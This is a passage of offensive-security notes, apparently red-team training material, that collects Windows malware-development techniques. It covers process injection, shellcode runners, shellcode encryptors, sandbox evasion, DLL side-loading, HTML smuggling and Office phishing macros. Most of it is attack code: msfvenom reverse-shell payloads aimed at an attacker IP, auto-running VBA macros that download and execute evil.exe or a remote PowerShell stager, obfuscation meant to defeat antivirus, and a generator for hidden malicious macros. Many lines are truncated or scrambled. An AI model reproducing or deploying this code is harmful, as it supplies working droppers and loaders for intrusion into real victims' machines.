ResumeThread(pi.hThread);
}
}
}
https://github.com/m0n0ph1/Process-Hollowing
https://gist.github.com/gnh1201/6a3836468c898f7ad3a3656e6f24dce3
https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-
image-relocations
Process Injectors
Inject shellcode into remote process's virtual address space
https://rastamouse.me/exploring-process-injection-opsec-part-1/
https://rastamouse.me/exploring-process-injection-opsec-part-2/
https://www.x86matthew.com/view_post?id=proc_env_injection
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Shellcode%20Process%20Injector/Program.cs
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
ProcessInjector.cs
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ProcessInjector
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)rand.Next(10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = DateTime.Now;
Sleep(dream);
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
{
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
return;
}
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
When selecting architecture during compilation, remember that there're 4 potential ways to
perform the migration:
https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-
ntmapviewofsection-code-injection
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/Program.cs
NtCreateSection
NtMapViewOfSection
RtlCreateUserThread
NtUnmapViewOfSection
NtProcessInjector.cs
using System;
using System.Linq;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace NtProcessInjector
{
public class Program
{
public const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
public const uint SECTION_MAP_READ = 0x0004;
public const uint SECTION_MAP_WRITE = 0x0002;
public const uint SECTION_MAP_EXECUTE = 0x0008;
public const uint PAGE_READ_WRITE = 0x04;
public const uint PAGE_READ_EXECUTE = 0x20;
public const uint PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)rand.Next(10000, 20000);
// Map the view of created section into the LOCAL process's virtual address space
IntPtr baseAddressL = new IntPtr();
ulong sectionOffsetL = new ulong();
if (NtMapViewOfSection(hSection, hLocalProcess, ref baseAddressL, UIntPtr.Zero, UI
{
Console.WriteLine("[-] Falied to map the view into local process's space");
return;
}
// Map the view of (the same) created section into the REMOTE process's virtual ad
IntPtr baseAddressR = new IntPtr();
ulong sectionOffsetR = new ulong();
if (NtMapViewOfSection(hSection, hRemoteProcess, ref baseAddressR, UIntPtr.Zero, U
{
Console.WriteLine("[-] Falied to map the view into remote process's space");
return;
}
// Copy the shellcode into the locally mapped view which will be reflected on the
Marshal.Copy(buf, 0, baseAddressL, bufLength);
// Execute the shellcode in a remote thread (also can be done with CreateRemoteThr
//CreateRemoteThread(hRemoteProcess, IntPtr.Zero, 0, baseAddressR, IntPtr.Zero, 0
IntPtr threadHandle = new IntPtr();
if (RtlCreateUserThread(hRemoteProcess, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr
{
Console.WriteLine("[-] Failed to create a remote thread");
return;
}
// Clean up
NtUnmapViewOfSection(hLocalProcess, baseAddressL);
NtClose(hSection);
}
}
}
Tools
PSInject
https://github.com/EmpireProject/PSInject
Shellcode Runners
Inject shellcode into current process's virtual address space
VBA
An explanation how to map C types to appropriate VBA types manually.
With this approach the shell lives until Word is not closed (no WaitForSingleObject ):
ShellcodeRunner.vba
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVa
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr,
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long
Sub Document_Open()
ShellcodeRunner
End Sub
Sub AutoOpen()
ShellcodeRunner
End Sub
Function ShellcodeRunner()
Dim buf As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date
' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sle
dream = Int((1500 * Rnd) + 2000)
before = Now()
Sleep (dream)
If DateDiff("s", t, Now()) < dream Then
Exit Function
End If
PowerShell
ShellcodeRunnerv1.ps1
$Win32 = @"
using System;
using System.Runtime.InteropServices;
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntP
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $Win32
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Shellcode%20Process%20Injector/Shellcode%20Process%20Injector.ps1
2. getDelegateType 👉🏻 to define the argument types for the APIs using a delegate type via Reflection
and return it.
3. VirtualAlloc 👉🏻 to allocate writable, readable, and executable (unmanaged) memory space in
virtual address space of the calling process.
4. Copy 👉🏻 to copy the shellcode bytes into allocated memory location.
5. CreateThread 👉🏻 to create a new execution thread in the calling process and execute the shellcode.
6. WaitForSingleObject 👉🏻 to delay termination of the PowerShell script until the shell fully executes.
ShellcodeRunnerv2.ps1
function lookupFunc {
Param ($moduleName, $funcName)
function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc k
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f
[Byte[]] $buf = 0x31,0x33,...,0x33,0x37
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.d
In order to run x64 shellcode from a 32-bit application (e.g., MS Word), you may want to specify
the path to 64-bit PowerShell binary through Sysnative alias.
C#
C# DLL to Jscript
https://github.com/tyranid/DotNetToJScript
TestClass.cs
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, ui
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpSt
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public TestClass()
{
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f cs
byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };
SharpShooter
https://github.com/mdsecactivebreach/SharpShooter
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f raw -o met
$ python SharpShooter.py --dotnetver 4 --stageless --rawscfile met.bin --payload js --output e
HTML Smuggling
https://www.purpl3f0xsecur1ty.tech/2021/03/30/av_evasion.html
https://github.com/smokeme/payloadGenerator
ShellcodeRunner.cs
using System;
using System.Runtime.InteropServices;
namespace ShellcodeRunner
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
$class = $assem.GetType("ShellcodeRunner.Program")
[$bindingFlags= [Reflection.BindingFlags] "NonPublic,Static"]
$method = $class.GetMethod("Run", [$bindingFlags])
$method.Invoke(0, $null)
Or
$a = [ShellcodeRunner.Program]::Run()
Shellcode Encoders/Encryptors
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/ROT%20Shellcode%20Encoder/Program.cs
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/XOR%20Shellcode%20Encoder/Program.cs
https://github.com/chvancooten/OSEP-Code-
Snippets/blob/main/Linux%20Shellcode%20Encoder/shellcodeCrypter.py
XOREncrypt.py
import ast
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f
buf = """buf = Array(31,33,...,33,37)"""
buf = buf[11:]
buf = buf.replace(' _\n', '')
buf = ast.literal_eval(buf)
enc = [b ^ ord('a') for b in buf]
enc = str(enc).replace('[', '').replace(']', '')
chunk += c
if len(chunk) > 200 and c == ',':
parts.append(chunk.strip())
chunk = ''
parts.append(chunk)
PS-XOREncrypt-HEX.ps1
$payload = "powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http
[string]$output = ""
$payload.ToCharArray() | % {
[string]$thischar = [byte][char]$_ -bxor [byte]'a'
if($thischar.Length -eq 1) {
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2) {
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3) {
$output += $thischar
}
}
$output | clip
PS-XOREncrypt-HEX.py
payload = r"powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http
output = ''.join([str(ord(c) ^ ord('a')).zfill(3) for c in payload])
print(output)
XOREncrypt.cs
using System;
using System.Text;
namespace XOREncrypt
{
class Program
{
static void Main(string[] args)
{
https://dinvoke.net/
https://thewover.github.io/Dynamic-Invoke/
https://github.com/TheWover/DInvoke
https://web.archive.org/web/20210601171512/https://rastamouse.me/blog/process-injection-dinvoke/
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/Dinvoke_CreateRemoteThread.cs
https://blog.nviso.eu/2020/11/20/dynamic-invocation-in-net-to-bypass-hooks/
https://offensivedefence.co.uk/posts/dinvoke-syscalls/
Dynamic P/Invoke
https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/Csharp/PE_Loader_DInvoke_ManualMap.cs
DInvokePE.cs
using System;
using System.IO;
using System.IO.Compression;
namespace DInvokePE
{
public class Program
{
static byte[] Compress(byte[] data)
{
MemoryStream output = new MemoryStream();
using (DeflateStream dStream = new DeflateStream(output, CompressionLevel.Optimal)
dStream.Write(data, 0, data.Length);
return output.ToArray();
}
static
{ byte[] Decompress(byte[] data)
return output.ToArray();
}
Nim
https://github.com/byt3bl33d3r/OffensiveNim
https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/
https://github.com/S3cur3Th1sSh1t/Creds/tree/master/nim
https://github.com/ajpc500/NimExamples
https://huskyhacks.dev/2021/07/17/nim-exploit-dev/
https://casvancooten.com/posts/2021/08/building-a-c2-implant-in-nim-considerations-and-lessons-
learned/
Install
Windows:
https://nim-lang.org/install_windows.html
https://git-scm.com/download/win
Linux:
Dependencies:
Compilation
Basic:
Add the needed relocation section to the resulting executable (from Windows):
Inject Shellcode
NimlineWhispers
https://ajpc500.github.io/nim/Shellcode-Injection-using-Nim-and-Syscalls/
https://github.com/ajpc500/NimlineWhispers
https://github.com/snovvcrash/NimlineWhispers
How-to:
1. Generate a nim header with syscalls definitions (function names randomized): python3
NimlineWhispers.py --randomise .
3. Generate a shellcode of your choice, put it into the template and compile the binary: nim c -
d=mingw --app=console --cpu=amd64 shellcode_bin.nim .
Encrypted
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypt_shellcode.nim
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypted_shellcode_loader_syscalls.nim
# Generate a shellcode
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.16.18 LPORT=443 -e x64/xor -
# Copy the shellcode into the 1st template and compile
$ nim c encrypt_shellcode.nim
# Encrypt the shellcode and write contents into a file
$ ./encrypt_shellcode 'Passw0rd!' b64.txt
# Copy encrypted shellcode into the 2nd template and compile
$ cat b64.txt | xclip -i -sel c
$ nim c --cpu:amd64 --os:windows --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-m
Execute C# Assemblies
https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/helpers/CSharpToNimByteArray.ps1
https://github.com/snovvcrash/Creds/blob/master/helpers/CSharpToNimByteArray.ps1
Encrypted
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypt_assembly.nim
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/nim/encrypted_assembly_loader.nim
$ nim c encrypt_assembly.nim
$ nim c --cpu:amd64 --os:windows --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-m
$ ./encrypt_assembly 'Passw0rd!' SharpKatz.exe b64.txt
Cmd > .\encrypted_assembly_loader.exe Passw0rd! b64.txt --Command logonpasswords
https://github.com/S3cur3Th1sSh1t/Nim-RunPE
https://github.com/S3cur3Th1sSh1t/NimGetSyscallStub
https://github.com/chvancooten/NimPackt-v1
https://github.com/icyguider/Nimcrypt2
https://github.com/adamsvoboda/nim-loader
Sandbox Evasion
https://github.com/Arvanaghi/CheckPlease
https://github.com/LordNoteworthy/al-khaser
https://0xpat.github.io/Malware_development_part_2/
Code Snippets
Check if a machine a domain-joined (sandbox evasion):
is_domain_joined.py
// cl.exe is_domain_joined.cpp netapi32.lib
#include <Windows.h>
#include <LM.h>
#include <iostream>
BOOL IsDomainJoined() {
auto joined = false;
LPWSTR lpNameBuffer = nullptr;
NETSETUP_JOIN_STATUS joinStatus = NETSETUP_JOIN_STATUS::NetSetupUnknownStatus;
return joined;
}
int main()
{
std::cout << (!IsDomainJoined() ? "No dynamic analysis 4 U" : "Hack the Planet!") << std:
}
Shellcodes
https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-
shellcode-in-c
Syscalls
https://alice.climent-pommeret.red/posts/a-syscall-journey-in-the-windows-kernel/
https://jhalon.github.io/utilizing-syscalls-in-csharp-1/
https://jhalon.github.io/utilizing-syscalls-in-csharp-2/
https://github.com/jhalon/SharpCall
https://www.solomonsklash.io/syscalls-for-shellcode-injection.html
https://jmpesp.me/malware-analysis-syscalls-example/
https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/
https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/
Windows API
https://yuval0x92.wordpress.com/2020/03/09/native-api-win32-api/
https://github.com/EspressoCake/NativeFunctionStaticMap/blob/main/Native_API_Resolve.pdf
https://github.com/LloydLabs/Windows-API-Hashing
https://github.com/MohitDabas/malwinx
https://fourcore.io/blogs/how-a-windows-process-is-created-part-1
https://fourcore.io/blogs/how-a-windows-process-is-created-part-2
SE
Social Engineering
Phishing
VPS Setup
https://github.com/n0pe-sled/Postfix-Server-Setup
Domains
https://zeltser.com/domain-name-variations-in-phishing/
https://dnstwist.it/
https://github.com/elceef/dnstwist
https://github.com/urbanadventurer/urlcrazy
https://0xpatrik.com/phishing-domains/
DLL Side-Loading
https://github.com/XForceIR/SideLoadHunter/tree/main/SideLoads
https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/
https://blog.sunggwanchoi.com/recreating-an-iso-payload-for-fun-and-no-profit/
https://github.com/ChoiSG/OneDriveUpdaterSideloading
enc.py
from os import urandom
from hashlib import sha256
from Crypto.Cipher import AES
KEY = urandom(16)
def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) %
Source
dllmain.cpp
#include "pch.h"
#include
#include <stdlib.h>
<wincrypt.h>
#include <Windows.h>
#include <TlHelp32.h>
#include "CreateSection.h"
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)
int j = 0;
for (int i = 0; i < data_len; i++) {
if (j == sizeof(key) - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
BOOL LoadNtdllFunctions() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
return TRUE;
}
if (!NT_SUCCESS(status))
continue;
return hProc;
}
} while (Process32Next(snapshot, &entry));
}
ZwClose(snapshot);
return NULL;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
FILE* fp;
size_t shellcodeSize;
unsigned char* shellcode;
char OneDriveUpdate_str[] = { 0x20,0x1e,0x1f,0x28,0x0a,0x02,0x18,0x06,0x49,0x21
XOR((char*)OneDriveUpdate_str, 15);
fp = fopen(OneDriveUpdate_str, "rb");
fseek(fp, 0, SEEK_END);
shellcodeSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
shellcode = (unsigned char*)malloc(shellcodeSize);
fread(shellcode, shellcodeSize, 1, fp);
LARGE_INTEGER interval;
interval.QuadPart = -1 * (int)(4270 * 10000.0f);
ResumeThread(hThread);
return 0;
}
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
threadHandle = CreateThread(NULL, 0, Run, NULL, 0, NULL);
CloseHandle(threadHandle);
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
Sleep(5000);
break;
}
return TRUE;
}
Include
CreateSection.h
#pragma once
#include <Windows.h>
#include <stdio.h>
#define STATUS_SUCCESS 0
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) == STATUS_SUCCESS)
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
#endif;
NTSTATUS(NTAPI* ZwOpenProcess)
(_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientID);
NTSTATUS(NTAPI* ZwCreateSection)
(_Out_ PHANDLE SectionHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PLARGE_INTEGER MaximumSize, _In_ ULONG SectionPageProtection,
_In_ ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle);
NTSTATUS(NTAPI* ZwMapViewOfSection)
(_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize,
_In_ DWORD InheritDisposition, _In_ ULONG AllocationType,
_In_ ULONG Win32Protect);
NTSTATUS(NTAPI* ZwCreateThreadEx)
(_Out_ PHANDLE ThreadHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine, _In_opt_ PVOID Argument, _In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits, _In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize, _In_opt_ PVOID AttributeList);
NTSTATUS(NTAPI* ZwDelayExecution)
(_In_ BOOL Alertable,
_In_ PLARGE_INTEGER DelayInterval);
NTSTATUS(NTAPI* ZwUnmapViewOfSection)
(_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress);
HTML Smuggling
https://github.com/nccgroup/demiguise
How-to:
4. The data from the binary blob is moved to the href reference of the a tag.
5. The code from the binary blob is given the file name of evil.exe .
smuggling.html
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f e
// base64 -w0 evil.exe | xclip -i -sel clipboard
var file ='<METERPRETER_BASE64_CONTENTS>'
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'evil.exe';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
This page will work when browsed with Google Chrome (since it supports
window.URL.createObjectURL ). This technique must be modified to work against
browsers like IE or Microsoft Edge.
SharpShooter
https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/
https://github.com/mdsecactivebreach/SharpShooter
MS Office
1. Place "encrypted" data in a Word document after the pretext (random base64): head -c 2K <
/dev/urandom > rnd && base64 rnd .
2. Create an AutoText: Insert > Quick Parts > AutoTexts > Save Selection as DecryptedBody to
AutoText Gallery.
3. Create a macro to "decrypt" the body with readable content according to the phishing legend.
DecryptPage.vba
Sub Document_Open()
DecryptPage
End Sub
Sub AutoOpen()
DecryptPage
End Sub
Sub DecryptPage()
ActiveDocument.Content.Select
Selection.Delete
ActiveDocument.AttachedTemplate.AutoTextEntries("DecryptedBody").Insert Where:=Selection.Ran
End Sub
VBA Stomping
Manually
2. Open it with FlexHEX: File > Open > OLE Compound File.
3. Open Macros > VBA > NewMacros file.
4. Locate the Attribute VB_Name ASCII string (starts with \x41\x74\x74... ) and replace all the
bytes with zeros till the end of the file: Edit > Insert Zero Block.
5. Save the .doc and exit.
Now the VBA source code is wiped and execution of macro will be performed via the P-code (if the victim's
MS Word is the same).
After the macro is executed this way MS Word will decompile the P-code and put the VBA source
code back into the NewMacros file, so it will reappear in the VBA editor as well.
EvilClippy
https://github.com/outflanknl/EvilClippy
DownloadWaitExec.vba
Sub Document_Open()
Hello
End Sub
Sub AutoOpen()
Hello
End Sub
Sub Hello()
MsgBox ("Hello, World!")
End Sub
VBA Macros
Wait till a malicious binary is downloaded with PowerShell and execute it:
fakecode.vba
Sub Document_Open()
hShellcodeRunner
End Sub
Sub AutoOpen()
hShellcodeRunner
End Sub
Sub DownloadWaitExec()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://10.10.13.37/evil.ex
Shell str, vbHide
Dim exePath As String
exePath = ActiveDocument.Path + "\evil.exe"
Wait (2)
Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
End Sub
https://blog.f-secure.com/dechaining-macros-and-evading-edr/
StageWMI.vba
Sub Evil
Dim strArg As String
strArg = "powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
StrReverseStageWMI.vba
Function Pony(flowers)
Pony = StrReverse(flowers)
End Function
Sub Evil
Dim strArg As String
strArg = Pony(")'txt.nur/73.31.01.01//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(XEI c-
GetObject(Pony(":stmgmniw")).Get(Pony("ssecorP_23niW")).Create strArg, Null, Null, pid
End Sub
Obfuscate it using xor encryption and add heuristics detection check based on comparing the .doc name
with current window name via ActiveDocument.Name :
XORStageWMI.vba
Function Pears(beets)
Pears = Chr(beets Xor Asc("a"))
End Function
Function Strawberries(grapes)
Strawberries = Left(grapes, 3)
End Function
Function Almonds(jelly)
Almonds = Right(jelly, Len(jelly) - 3)
End Function
Function Nuts(milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(milk))
milk = Almonds(milk)
Loop While Len(milk) > 0
Nuts = Oatmilk
End Function
Function Evil()
If ActiveDocument.Name <> Nuts("016022004079005014002") Then
Exit Function
End If
Dim Apples As String
Dim Water As String
Apples = "31.." _
& "33.." _
& "33.." _
& "37.."
Water = Nuts(Apples)
GetObject(Nuts("022008015012006012021018091")).Get(Nuts("05400801508208306204901901400200401
End Function
Sub Document_Open()
Evil
End Sub
Sub AutoOpen()
Evil
End Sub
Helpers
Generate a ready-to-paste malicios MS Word macro (execution is provided by VBA Shell function):
gen_doc_autoopen_payload_vbshell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from base64 import
argparse b64encode
import ArgumentParser
parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
parser.add_argument('--chunk-size', type=int, default=200, help='length of a payload chunk lin
args = parser.parse_args()
payload = payload.encode('utf-16le')
payload = b64encode(payload).decode()
payload = [payload[i:i + chunk_size] for i in range(0, len(payload), chunk_size)]
payload = [f'"{chunk}"' for chunk in payload]
payload = ' _\r\n& '.join(payload)
payload = f"""\
Sub AutoOpen()\r
Evil\r
End Sub\r
\r
Sub Document_Open()\r
Evil\r
End Sub\r
\r
Sub Evil()\r
Text = "powershell -exec bypass -nop -nologo -w hidden -enc " _\r
& {payload}\r
a = Shell(Text, vbHide)\r
End Sub\
""".replace('\t', '')
return payload
if __name__ == '__main__':
print(gen_payload_vbshell(args.pwsh_file, args.chunk_size))
gen_doc_autoopen_payload_wscript_shell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from base64 import b64encode
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
